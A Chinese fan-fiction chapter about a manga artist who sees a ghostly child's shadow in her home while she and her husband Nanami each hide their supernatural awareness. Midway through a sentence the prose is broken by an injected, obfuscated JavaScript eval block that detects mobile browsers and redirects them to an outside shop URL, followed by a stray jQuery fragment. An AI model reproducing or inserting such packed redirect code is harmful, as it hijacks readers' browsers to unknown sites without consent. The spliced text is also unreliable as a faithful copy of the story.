上午十一点，门铃响了。
悠从猫眼看出去，发现是坂本太太。
“七海太太，没打扰你工作吧？”坂本太太提着一个保鲜盒，“做了太多糯米团子，分你们一些。”
“太谢谢了，坂本太太总是这么客气。”悠开门接过，“请进来坐会儿？我正好泡了茶。”
“哎呀，那就打扰一下。”坂本太太显然想找人聊天，顺势进了屋。
两人在客厅坐下。
悠端来茶和点心，坂本太太的目光在客厅里扫了一圈，最后落在电视柜旁边的地板上。
“那个污渍……”她皱起眉，“还在啊。我上次不是建议你用漂白水试试吗？”
悠笑了笑：“试过了，没什么效果。可能年头太久，渗进木头里了。”
“也是，老房子都这样。”坂本太太叹了口气，压低声音，“说起来，你知道楼下的小佐藤要搬走了吗？”
悠眨了眨眼：“这么快？他才搬来不到两个月吧？”
“说是工作调动，但我看啊，是被吓跑的。”
坂本太太的声音更低了，“昨晚他又来找我，说凌晨两点多，清楚地听见有小孩在他天花板上拍皮球。砰砰砰的，持续了十几分钟。他鼓起勇气上楼查看，602是空房，你们又睡在卧室没动静……你说这声音哪来的？”
悠捧着茶杯，指尖轻轻摩挲着温热的瓷壁。
“可能是……管道的声音？老房子的传音有时候很奇怪。”
“管道怎么会拍皮球呢！”坂本太太摇头，“而且不止他。四楼的铃木老先生，你也见过吧？古板得很，从来不信这些怪力乱神。结果昨天主动来找我，说他看见‘不干净的东西’了。”
悠抬起眼：“他看见什么了？”
“一个小孩。”坂本太太的表情变得严肃起来，“在走廊里。穿着二十年前流行的衣服款式，背对着他。老先生想叫住那孩子，结果一眨眼就不见了。”
客厅里安静了几秒。
只有墙上的挂钟发出规律的滴答声。
“七海太太，”坂本太太往前倾了倾身体，“你们真的什么都没听见，什么都没看见？”
悠迎着她的目光，黑色眼眸清澈平静。
“真的没有。可能是我和我先生都比较迟钝吧。”
坂本太太看了她几秒，然后靠回沙发背，叹了口气。
“没看见也好。有些东西，看见了反而麻烦。”
她又坐了一会儿，聊了些社区的闲话，然后起身告辞。
悠送她到门口时，坂本太太忽然回过头。
“对了，七海太太，你先生……是做什么工作的来着？”
“证券分析师。”悠回答。
“哦哦，高级白领啊。”坂本太太羡慕点点头，但眼神里又闪过一丝调侃，“不过总觉得……七海先生身上有种特别的气质。不像普通的上班族。”
悠心里微微一紧，脸上却还是笑着“是吗？可能是因为他比较严肃吧。”
“可能吧。”坂本太太没再多说，挥挥手离开了。
关上门后，悠靠在门板上，闭上眼睛。
坂本太太的话在她脑中回响。
——你先生身上有种特别的气质。
——不像普通的上班族。
还有铃木老先生看见的那个孩子——穿着二十年前流行的衣服。
那正是2008年，那个叫健太的孩子失踪的年代。
悠睁开眼睛，走回客厅。
她站在电视柜旁，低头看着那块“污渍”。
在普通人眼里，它只是块污渍。
但在她眼里，那个蜷缩的孩童阴影比早上更清晰了些，颜色也从墨绿变成了近乎深蓝。
她蹲下身，伸出手，不是去触碰阴影，而是悬停在它上方。
“是你吗？”她轻声问，“健太？”
阴影的边缘剧烈地蠕动了一下。
整个轮廓忽然变得不稳定，颜色在深蓝、墨绿、暗红之间疯狂切换，像是在痛苦地挣扎。
悠立刻收回手。“对不起，我不该问的。”她小声说，“你不想回答就不用回答。”
阴影慢慢平静下来，重新缩回蜷缩状，颜色变回墨绿，但边缘的蠕动变得迟缓无力，像是耗尽了力气。
悠看着它，心中涌起一股复杂的情绪——有恐惧，有困惑，但更多的是悲悯。
这个存在——不管它是什么——显然在承受着某种痛苦，某种束缚。
她站起身，走向书房。
在书桌抽屉里翻找了一会儿，找出一个旧铁盒——那是外婆留下的，里面装着些零零碎碎的小东西。
悠从里面拿出一颗玻璃弹珠，那种老式的、里面有彩色螺旋纹路的弹珠。
她走回客厅，将玻璃弹珠轻轻放在那块污渍旁边。
“这个给你。”她轻声说，“我小时候最喜欢玩这个。”
阴影没有反应。
但悠能感觉到，那股一直萦绕在周围的、微弱的悲伤气息，似乎淡了一点点。
下午，悠的画稿完成了大半。
保存好文件，她伸了个懒腰，腰部的酸痛让她忍不住皱起眉。
该休息一下了。
她心想。
她走出书房，准备去厨房倒杯水。
路过客厅时，她注意到那块污渍旁边的玻璃弹珠不见了。
不是被挪动了位置，是彻底消失了。
地板上干干净净，什么都没有。
悠站在原地，静静地看着那片区域。
那个孩童阴影的颜色变得明亮了一些——像是初春的潭水。
而且它的形态……似乎舒展了一点点。
虽然还是蜷缩着，但不再那么紧绷，更像是安稳的睡姿。
悠的嘴角几不可察地向上弯了弯。
她没说什么，只是走进厨房，倒水，然后回到书房继续工作。
下午四点半，手机响了。
是七海。
“悠，我五点半左右到家。”他的声音从听筒传来，平静无波，“需要我带什么回来吗？”
“不用啦，家里什么都有。”悠说，手指无意识地卷着电话线，“不过七海海，有件事……”
“嗯？”
“刚才坂本太太来了。”悠斟酌着措辞，“她说楼下的小佐藤要搬走了，因为昨晚又听到小孩拍皮球的声音。”
电话那头沉默了几秒。“……是吗。”
“嗯。而且铃木老先生也说看见了一个小孩，穿着旧式衣服，在走廊里。”悠继续说，语气刻意保持轻松，“大家说得有模有样的，搞得我都有点好奇了——七海海，你相信这些吗？”
这次七海沉默的时间更长了一些。
悠能听见电话那头隐约传来键盘敲击的声音，像是在处理工作。
“以坂本太太他们八卦程度，传言通常有夸大成分，”七海最终说，声音依然平静，“老房子本身就容易产生各种声音和错觉。”
“也是。”悠笑了，“可能真的是我们太迟钝了，什么都感觉不到。”
“……这样也好。”七海说，声音里有一丝悠读不懂的情绪，“有些东西，不知道反而更轻松。”
悠握着电话的手指微微收紧。“七海海这话说得……好像知道什么似的。”
电话那头又沉默了。
良久，七海才开口：“当然属于一个普遍现象。悠，不说了，我还有份报告要处理。晚上见。”
“那好吧，晚上见，七海海。”
电话挂断。
悠放下手机，盯着屏幕看了很久。
七海的反应……
标准的理性，标准的否认，标准的回避。
就像在背诵标准答案。
而且他最后那句“有些东西，不知道反而更轻松”，说得太有深意了。
不像是普通人对怪谈的态度，更像是……某种经验之谈。
悠闭上眼睛，靠在椅背上。
太多疑问，太多线索，但每一个都模糊不清，每一个都无法证实。
也许她该直接问。
也许她该告诉七海，她能看见那些东西，然后问他能不能看见。
但风险太大了。
如果七海真的是普通人，他会怎么看她？
会觉得她疯了？还是觉得她在开玩笑？
而如果七海不是普通人……如果他也在隐瞒，那她的坦白会不会打破某种微妙的平衡？
悠睁开眼睛，看向窗外。
下午的阳光很好，天空湛蓝，云朵蓬松。
这是个普通的工作日午后，她只是个普通的漫画家，丈夫只是个普通的上班族。
五点半，玄关传来钥匙转动的声音。
悠从书房走出来时，七海刚好推门进来。
“欢迎回来！”她说。
“我回来了。”七海放下公文包，目光黏在在她脸上，“你今天看起来……更累了。”
悠心里一惊，但脸上还是笑着：“啊啦，是画稿坐太久了。腰还有点酸……”
她没说完，但意思很明显。
七海的耳朵红了，他松开领带，避开了她的视线。“……抱歉，悠。”
“不用道歉啦。”悠走过去，接过他的西装外套，“老公，你晚饭想吃什么？我买了很好的牛肉，可以炖，也可以煎。”
“都很好，”七海说，“让我来做吧。你休息。”
悠眨了眨眼：“七海海今天这么体贴？”
“只是合理分工。”七海已经走向厨房，“你今天工作了一天，该休息。”
悠看着他挺拔的背影，心中涌起一股暖意。
她跟着走进厨房，靠在门框上看他洗手、系围裙、从冰箱里拿出食材。
七海的动作很有效率，每一个步骤都井井有条。
切肉的手法精准，下锅的时机恰到好处，调味料的用量精确得像在做实验。
悠看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154064|196498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着他专注的侧脸，忽然开口：
“七海海。”
“嗯？”
“你以前……是不是受过什么训练？”悠问，语气尽量随意，“比如厨艺训练？或者……别的什么训练？”
七海切菜的手停顿了半秒。
“为什么这么问？”
“就是觉得你做什么都很标准，很有条理。”悠说，“切菜的刀工，做饭的步骤，甚至收拾房间的方式……超级规范了。像士兵一样。”
七海继续切菜，声音平静：“效率最大化是基本原则。规范化的流程可以减少错误和浪费。”
“也是。”悠点点头，但眼神里还带着探究，“不过七海海这种程度，已经超过‘效率’的范畴了吧？完全是……军事化训练。我以后想偷懒会被长官大人说不服从管理吧？”
一边说一边脑补画面，悠给自己逗笑了。
“不会……”这次七海没有沉默，“如果你不喜欢，让我来做。”
他将切好的牛肉放进碗里，开始处理蔬菜。
“我以前……”他缓缓开口，“在高专上学。”
悠愣住了。“高专？”
“宗教类学校。”七海看她，“课程包括体术、冥想、经文研读等。纪律要求很严格。”
宗教学校。
体术训练。
纪律严格。
这解释了很多东西——七海异于常人的体力，他严谨到近乎刻板的生活习惯，他身上那种沉稳如山的特质。
但也带来了新的疑问。
“宗教学校……”悠轻声重复，“那七海海以前……是准备当和尚吗？”
“不是。”七海的声音里有一丝几不可察的无奈和好笑，“只是家族传统。毕业后我选择了普通的工作。”
他说着，已经将食材处理好，开始热锅倒油。
厨房里响起油锅滋滋的声音，掩盖了某些没说出口的话。
悠看着他忙碌的背影，心中疑云更浓了。
宗教学校可以解释一部分，但解释不了全部——解释不了他偶尔流露出的、过于敏锐的警觉，解释不了他身上那种隐约的、不同于常人的“气场”，解释不了昨晚她看见的那些微光。
但她没有继续追问。
只是静静地靠在门框上，看着丈夫为自己准备晚餐。
牛肉的香气渐渐弥漫开来。
七海做了简单的姜烧牛肉，配白米饭和味噌汤。
两人在餐桌前坐下，暖黄的灯光下，食物的热气袅袅上升。
“好吃吗？”七海问。
“嗯！”悠用力点头，“七海海做饭越来越好吃了。”
七海的嘴角向上弯了弯。
两人一边用餐一边聊着日常，偶尔交谈几句工作上的事。
气氛温馨而平常，就像任何一个普通的新婚夫妻的晚餐时间。
但悠注意到，七海吃饭时，目光会不自觉地扫过客厅的方向——扫过电视柜旁那块污渍的位置。
而且他的手——握着筷子的手——偶尔会微微收紧，指节泛白，像是在克制什么。
她在观察他。他也在观察她。
两人都在小心翼翼地试探，都在小心翼翼地隐藏。
晚饭后，七海洗碗，悠去洗澡。
温热的水流冲刷着身体，稍微缓解了腰部的酸痛。
悠站在水幕下，闭上眼睛。
今天发生的一切在脑中回放——坂本太太的来访，七海电话里的反应，晚餐时的对话，还有那块污渍旁消失的玻璃弹珠。
太多的异常，太多的巧合。
她擦干身体，换上干净的睡衣走出浴室。
七海已经洗好碗，正坐在沙发上看书。
悠走过去，在他身边坐下。
七海自然地伸手搂住她的肩膀，让她靠在他怀里。
两人都没有说话，只有书页翻动的声音和彼此的呼吸声。
悠闭上眼睛，脸贴在七海胸口，听着他沉稳的心跳。
一下，两下，三下。
规律，有力，让人安心。
这个怀抱是温暖的，真实的，她不想失去的。
所以她决定，暂时什么都不问。
暂时，继续扮演那个“看不见”的普通妻子。
就像七海在扮演那个“看不见”的普通丈夫。
这是他们心照不宣的默契，是他们共同守护的秘密。
客厅的灯光暖黄，墙壁上的挂钟滴答走动。
电视柜旁的地板上，那块“污渍”在灯光下只是一个普通的阴影。
但悠知道，七海也知道——那不只是污渍。
那是他们婚姻中，第一个心照不宣的秘密。
也是第一个，需要共同守护的异常。
而在那个异常的深处，可能还藏着更多他们尚未准备好面对的真相。
悠往七海怀里缩了缩。
七海的手臂收紧了些。
夜深了。